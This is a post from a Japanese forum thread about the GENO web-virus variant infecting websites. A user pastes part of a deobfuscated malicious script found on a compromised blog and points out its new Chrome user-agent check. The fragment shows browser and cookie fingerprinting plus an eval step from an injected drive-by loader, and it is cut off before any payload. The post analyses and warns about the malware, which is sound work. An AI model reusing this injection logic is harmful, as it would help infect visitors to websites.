【ネットでも】GENOウィルス亜種が爆発的に増殖か 小林製薬や同人サイト他中心に感染も★5【新型ウィルス拡散中】

このエントリーをはてなブックマークに追加
935 イワウチワ(大阪府)
>>696
ここの暗号化スクリプト解読してみた

他の方でくわしく解析されている奴と違ってる
http://ilion.blog47.fc2.com/blog-entry-128.html

var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;i
f((u.indexOf("Chrome")<0)&&(u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){zrvzts="A";eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");以下略

↑Chromeのユーザーエージェントをチェックしてる部分が追加されてる
変化してる